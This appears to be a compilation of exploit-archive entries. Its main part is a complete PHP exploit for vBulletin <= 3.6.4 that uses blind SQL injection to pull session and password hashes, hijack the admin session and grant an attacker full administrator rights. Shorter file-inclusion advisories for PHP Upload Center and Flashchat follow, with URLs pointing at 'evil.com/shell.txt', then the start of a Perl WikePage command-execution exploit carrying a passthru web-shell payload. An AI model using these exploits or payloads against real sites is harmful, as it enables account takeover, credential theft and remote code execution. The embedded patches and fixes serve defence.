<?php
print_r('
-----------------------------------------------------------------------------
vBulletin <= 3.6.4 inlinemod.php "postids" sql injection / privilege
escalation by session hijacking exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
Works regardless of php.ini settings, you need a Super Moderator account
to copy posts among threads, to be launched while admin is logged in to
the control panel, this will give you full admin privileges
note: this will flood the forum with empty threads even!
-----------------------------------------------------------------------------
');
if ($argc<7) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass forumid postid OPTIONS
host: target server (ip/hostname)
path: path to vbulletin
user/pass: you need a moderator account
forumid: existing forum
postid: existing post
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /vbulletin/ rgod mypass 2 121 -P1.1.1.1:80
php '.$argv[0].' localhost /vbulletin/ rgod mypass 1 143 -p81
-----------------------------------------------------------------------------
');
die;
}
/*
vulnerable code in inlinemod.php near lines 185-209:
...
case 'docopyposts':
$vbulletin->input->clean_array_gpc('p', array(
'postids' => TYPE_STR,
));
$postids = explode(',', $vbulletin->GPC['postids']);
foreach ($postids AS $index => $postid)
{
if ($postids["$index"] != intval($postid))
{
unset($postids["$index"]);
}
}
if (empty($postids))
{
eval(standard_error(fetch_error('no_applicable_posts_selected')));
}
if (count($postids) > $postlimit)
{
eval(standard_error(fetch_error('you_are_limited_to_working_with_x_posts', $postlimit)));
}
break;
...
when an element of $postids array is not an integer, it fails to unset() the proper value.
An example:
<?php
$foo[1]="99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*";
$foo[2]=intval($foo[1]);
echo $foo[1]."\n";
echo $foo[2]."\n";
if ($foo[1] != $foo[2])
{
echo "they are different";
}
else
{
echo "they match!";
}
?>
output:
99999) UNION SELECT foo FROM foo WHERE foo=1 LIMIT 1/*
99999
they match!
this because when php tries to comparise a string with an integer
it tries to convert the string in its integer value, it chooses the first integer chars
of the string itself!
so unset() never run!
the result is sql injection near lines 3792-3800:
...
$posts = $db->query_read_slave("
SELECT post.postid, post.threadid, post.visible, post.title, post.username, post.dateline, post.parentid, post.userid,
thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid,
thread.sticky, thread.open, thread.iconid
FROM " . TABLE_PREFIX . "post AS post
LEFT JOIN " . TABLE_PREFIX . "thread AS thread USING (threadid)
WHERE postid IN (" . implode(',', $postids) . ")
ORDER BY post.dateline
");
...
this exploit extract various session hashes from the database
to authenticate as admin and to change the privileges of a registered user
I could not find a way to see results inside html, so this asks true/false
questions to the database, copying posts around threads
possible patch, replace:
foreach ($postids AS $index => $postid)
{
if ($postids["$index"] != intval($postid))
{
unset($postids["$index"]);
}
}
with:
foreach ($postids AS $index => $postid)
{
$postids["$index"]=(int)$postids["$index"];
}
and, some line before:
foreach ($threadids AS $index => $threadid)
{
if ($threadids["$index"] != intval($threadid))
{
unset($threadids["$index"]);
}
}
with:
foreach ($threadids AS $index => $threadid)
{
$threadids["$index"]=(int)$threadids["$index"];
}
vendor was contacted by email form...
*/
error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=md5($argv[4]);
$forumid=(int)$argv[5];
$existing_post=(int)$argv[6];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data="vb_login_username=$user";
$data.="&vb_login_password=";
$data.="&s=";
$data.="&do=login";
$data.="&vb_login_md5password=$pass";
$data.="&vb_login_md5password_utf=$pass";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."login.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$cookie="";
$temp=explode("Set-Cookie: ",$html);
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".trim($temp2[0]);
}
//echo "your cookie -> ".$cookie."\n\n";
if (!eregi("sessionhash",$cookie)){die("failed to login...");}$temp=str_replace(" ","",$cookie);$temp=str_replace("sessionhash","",$temp);
$temp=str_replace("lastvisit","",$temp);$temp=str_replace("lastactivity","",$temp);$temp=explode("=",$temp);$temp=explode(";",$temp[1]);
$cookie_prefix=trim($temp[1]);echo "cookie prefix -> ".$cookie_prefix."\n";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$j=1;$uid="";
echo "admim user id -> ";
while (!strstr($uid,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$data ="s=";
$data.="&do=docopyposts";
$data.="&destforumid=$forumid";
$data.="&title=suntzu";
$data.="&forumid=$forumid";
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/usergroupid=6/**/LIMIT/**/1/*";
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("showthread.php?t=",$html);
$temp2=explode("\n",$temp[1]);
$thread=(int)$temp2[0];
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
if (eregi("join date",$html)) {$uid.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
if (trim($uid)==""){die("\nExploit failed...");}else{echo "\nvulnerable!";}
$uid=intval($uid);
function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}
$j=1;$my_uid="";
echo "\nyour user id -> ";
while (!strstr($my_uid,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$data ="s=";
$data.="&do=docopyposts";
$data.="&destforumid=$forumid";
$data.="&title=suntzu";
$data.="&forumid=$forumid";
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(userid,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/username=".my_encode($user)."/**/LIMIT/**/1/*";
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
$temp=explode("showthread.php?t=",$html);
$temp2=explode("\n",$temp[1]);
$thread=(int)$temp2[0];
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("join date",$html)) {$my_uid.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
$my_uid=intval($my_uid);
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$sess_hash="";
echo "\nsession hash -> ";
while (!strstr($sess_hash,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$data ="s=";
$data.="&do=docopyposts";
$data.="&destforumid=$forumid";
$data.="&title=suntzu";
$data.="&forumid=$forumid";
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(sessionhash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/session/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
$temp=explode("showthread.php?t=",$html);
$temp2=explode("\n",$temp[1]);
$thread=(int)$temp2[0];
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("join date",$html)) {$sess_hash.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
$j=1;$my_hash="";
echo "\nuser password hash -> ";
while (!strstr($my_hash,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$data ="s=";
$data.="&do=docopyposts";
$data.="&destforumid=$forumid";
$data.="&title=suntzu";
$data.="&forumid=$forumid";
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/user/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
$temp=explode("showthread.php?t=",$html);
$temp2=explode("\n",$temp[1]);
$thread=(int)$temp2[0];
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("join date",$html)) {$my_hash.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
$j=1;$cpsess_hash="";
echo "\ncp session hash -> ";
while (!strstr($cpsess_hash,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$data ="s=";
$data.="&do=docopyposts";
$data.="&destforumid=$forumid";
$data.="&title=suntzu";
$data.="&forumid=$forumid";
$data.="&postids=9999999)/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(hash,".$j.",1))=".$i."),$existing_post,-999999)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cpsession/**/WHERE/**/userid=$uid/**/LIMIT/**/1/*";
$packet ="POST ".$p."inlinemod.php?f=$forumid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("showthread.php?t=",$html);
$temp2=explode("\n",$temp[1]);
$thread=(int)$temp2[0];
$packet ="GET ".$p."showthread.php?t=$thread HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie."; \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html)){echo $html; die("\nunknown query error...");}
if (eregi("join date",$html)) {$cpsess_hash.=chr($i);echo chr($i); sleep(1); break;}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}
echo "\n";
$packet ="GET ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; bbuserid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("adminhash\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$adminhash=$temp2[0];
echo "adminhash ->".$adminhash."\n";
if ($adminhash<>"") {echo "\ndone! you are in... updating ".$user." rights";}
else {die("\nexploit failed...");}
//join to the Administrator group
$my_email="suntzu@suntzu.com";
$data ="do=update";
$data.="&adminhash=$adminhash";
$data.="&quicklinks=user.php%3Fdo%3Deditaccess%26u%3D".$my_uid;
$data.="&user%5Busername%5D=$user";
$data.="&password=";
$data.="&user%5Bemail%5D=$my_email";
$data.="&user%5Blanguageid%5D=0";
$data.="&user%5Busertitle%5D=Admin";
$data.="&user%5Bcustomtitle%5D=0";
$data.="&user%5Bhomepage%5D=";
$data.="&user%5Bbirthday%5D%5Bmonth%5D=0";
$data.="&user%5Bbirthday%5D%5Bday%5D=";
$data.="&user%5Bbirthday%5D%5Byear%5D=";
$data.="&user%5Bshowbirthday%5D=0";
$data.="&user%5Bsignature%5D=";
$data.="&user%5Bicq%5D=";
$data.="&user%5Baim%5D=";
$data.="&user%5Byahoo%5D=";
$data.="&user%5Bmsn%5D=";
$data.="&user%5Bskype%5D=";
$data.="&options%5Bcoppauser%5D=0";
$data.="&user%5Bparentemail%5D=$my_email";
$data.="&user%5Breferrerid%5D=";
$data.="&user%5Bipaddress%5D=";
$data.="&user%5Bposts%5D=0";
$data.="&userfield%5Bfield1%5D=";
$data.="&userfield%5Bfield2%5D=";
$data.="&userfield%5Bfield3%5D=";
$data.="&userfield%5Bfield4%5D=";
$data.="&user%5Busergroupid%5D=6";//primary usergroup, 6=Administrators
$data.="&user%5Bdisplaygroupid%5D=-1";
$data.="&user%5Bmembergroupids%5D%5B%5D=5";//secondary usergroup, 5=Super Moderators
$data.="&options%5Bshowreputation%5D=1";
$data.="&user%5Breputation%5D=10";
$data.="&user%5Bwarnings%5D=0";
$data.="&user%5Binfractions%5D=0";
$data.="&user%5Bipoints%5D=0";
$data.="&options%5Badminemail%5D=1";
$data.="&options%5Bshowemail%5D=0";
$data.="&options%5Binvisible%5D=0";
$data.="&options%5Bshowvcard%5D=0";
$data.="&options%5Breceivepm%5D=1";
$data.="&options%5Breceivepmbuddies%5D=0";
$data.="&options%5Bemailonpm%5D=0";
$data.="&user%5Bpmpopup%5D=0";
$data.="&options%5Bshowsignatures%5D=1";
$data.="&options%5Bshowavatars%5D=1";
$data.="&options%5Bshowimages%5D=1";
$data.="&user%5Bautosubscribe%5D=-1";
$data.="&user%5Bthreadedmode%5D=0";
$data.="&user%5Bshowvbcode%5D=1";
$data.="&user%5Bstyleid%5D=0";
$data.="&adminoptions%5Badminavatar%5D=0";
$data.="&adminoptions%5Badminprofilepic%5D=0";
$data.="&user%5Btimezoneoffset%5D=0";
$data.="&options%5Bdstauto%5D=1";
$data.="&options%5Bdstonoff%5D=0";
$data.="&user%5Bdaysprune%5D=-1";
$data.="&user%5Bjoindate%5D%5Bmonth%5D=2";
$data.="&user%5Bjoindate%5D%5Bday%5D=26";
$data.="&user%5Bjoindate%5D%5Byear%5D=2007";
$data.="&user%5Bjoindate%5D%5Bhour%5D=14";
$data.="&user%5Bjoindate%5D%5Bminute%5D=39";
$data.="&user%5Blastactivity%5D%5Bmonth%5D=2";
$data.="&user%5Blastactivity%5D%5Bday%5D=26";
$data.="&user%5Blastactivity%5D%5Byear%5D=2007";
$data.="&user%5Blastactivity%5D%5Bhour%5D=14";
$data.="&user%5Blastactivity%5D%5Bminute%5D=58";
$data.="&user%5Blastpost%5D%5Bmonth%5D=0";
$data.="&user%5Blastpost%5D%5Bday%5D=";
$data.="&user%5Blastpost%5D%5Byear%5D=";
$data.="&user%5Blastpost%5D%5Bhour%5D=";
$data.="&user%5Blastpost%5D%5Bminute%5D=";
$data.="&userid=".$mu_uid;
$data.="&ousergroupid=";
$data.="&odisplaygroupid=0";
$data.="&userfield%5Bfield1_set%5D=1";
$data.="&userfield%5Bfield2_set%5D=1";
$data.="&userfield%5Bfield3_set%5D=1";
$data.="&userfield%5Bfield4_set%5D=1";
$packet ="POST ".$p."admincp/user.php?do=edit&u=$my_uid HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
//now give full rights to the new Administrator
$data ="do=update";
$data.="&adminhash=".$adminhash;
$data.="&adminpermissions%5Bcanadminsettings%5D=1";
$data.="&adminpermissions%5Bcanadminstyles%5D=1";
$data.="&adminpermissions%5Bcanadminlanguages%5D=1";
$data.="&adminpermissions%5Bcanadminforums%5D=1";
$data.="&adminpermissions%5Bcanadminthreads%5D=1";
$data.="&adminpermissions%5Bcanadmincalendars%5D=1";
$data.="&adminpermissions%5Bcanadminusers%5D=1";
$data.="&adminpermissions%5Bcanadminpermissions%5D=1";
$data.="&adminpermissions%5Bcanadminfaq%5D=1";
$data.="&adminpermissions%5Bcanadminimages%5D=1";
$data.="&adminpermissions%5Bcanadminbbcodes%5D=1";
$data.="&adminpermissions%5Bcanadmincron%5D=1";
$data.="&adminpermissions%5Bcanadminmaintain%5D=1";
$data.="&adminpermissions%5Bcanadminplugins%5D=1";
$data.="&cssprefs=";
$data.="&dismissednews=";
$data.="&userid=".$my_uid;
$data.="&oldpermissions=98300";
$data.="&adminpermissions%5Bcanadminupgrade%5D=0";
$packet ="POST ".$p."admincp/adminpermissions.php?do=update HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: ".$cookie_prefix."lastactivity=0; ".$cookie_prefix."password=".md5(trim($my_hash))."; ".$cookie_prefix."userid=".$uid."; ".$cookie_prefix."sessionhash=".trim($sess_hash)."; ".$cookie_prefix."cpsession=".trim($cpsess_hash).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "\nnow go to http://".$host.$path."admincp/index.php and login to the control panel...";
?>
# milw0rm.com [2007-02-28]

*************************************************************************************************************************
Coding 4 Fun
*************************************************************************************************************************
* Name = PHP Upload Center v2.0 ;
* Class = Remote/Local File Inclusion ;
* Download = http://skrypty.webpc.pl/pobierz.php?id=58 ;
* Found by = GregStar (gregstar[at]c4f[dot]pl) (http://c4f.pl) ;
-------------------------------------------------------------------------------------------------------------------------
Vulnerable Code in activate.php
line 66-70
...
if (!isset($language))
$language=$dft_language;
if ($language=="")
$language=$dft_language;
require("include/${language}.php"); <== Local incl.
...
line 164
...
include($footerpage); <== Remote incl.
...
Code in include/en.php (and other language files)
line 5-7
...
$headerpage="include/header.htm";
$footerpage="include/footer.htm"; <==
$infopage="include/info.htm";
...
- Ex. :
 http://[target]/[path]/activate.php?language=conf&footerpage=http://evil?
*************************************************************************************************************************
Gr33tz: sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,rfl,d3m0n,java,reyw,kw@ch.
*************************************************************************************************************************

NeXtMaN <mc.nadz [at] gmail.com>
Here are 3 RFI vulnerabilities in Flashchat i've found:
Code:
 http://site.com/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt?
 http://site.com/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt?
 http://site.com/[script_path]/inc/cmses/aedatingCMS.php?dir[inc]=http://evil.com/shell.txt?
video here:
Code:
 http://rapidshare.de/files/31362430/Flashchat.rar.html
EDIT: Solution:
It looks like the vulnerable files are there in case you want to integrate with another script. The script that would require these files is AEDating:
you simply delete the following files and you will be secure:
/inc/cmses/aedating4CMS.php
/inc/cmses/aedatingCMS.php
/inc/cmses/aedatingCMS2.php
if your flashchat is integrated with AEDating and/or you dont want to delete the files you can just edit the 3 files to use your path like this:
Replace this:
$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]admin.inc.php" );
With this:
$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "[Your AED path]/db.inc.php" );
require_once( "[Your AED path]/admin.inc.php" );
Alternatively you could just upgrade to 4.6.2 (just released)
PS, all 3 of those files are vulnerable and will need editing.

#!/usr/bin/perl
#
# WIKEPAGE <= V2006.2a Opus 10 Remote Command Execution Exploit
# -------------------------------------------------------------
# IHST: h4ckerz.com / hackerz.ir
# AST : Aria-Security.Net
# Kapda : kapda.ir
#
#### (c)oded & discovered By Hessam-x ( Hessamx -at- Hessamx.net)
use IO::Socket;
use LWP::Simple;
print "-------------------------------------------------------------\n";
print "= WIKEPAGE <= V2006.2a Remote Command Execution Exploit =\n";
print "= By Hessam-x - www.Hessamx.net =\n";
print "-----------------------------------------------------------\n\n";
if (@ARGV < 2)
{
print "[*] Usage: hxxpl.pl [host] [path]\n\n";
exit();
}
$server=$ARGV[0];
$path=$ARGV[1];
print " SERVER : $server \n";
print " Path : $path \n";
print "-------------------------------------------\n";
$pcode ="<?php ob_clean();echo _Hessamx_;passthru(\$_GET[cmd]);echo _xHessam_;die; ?>";
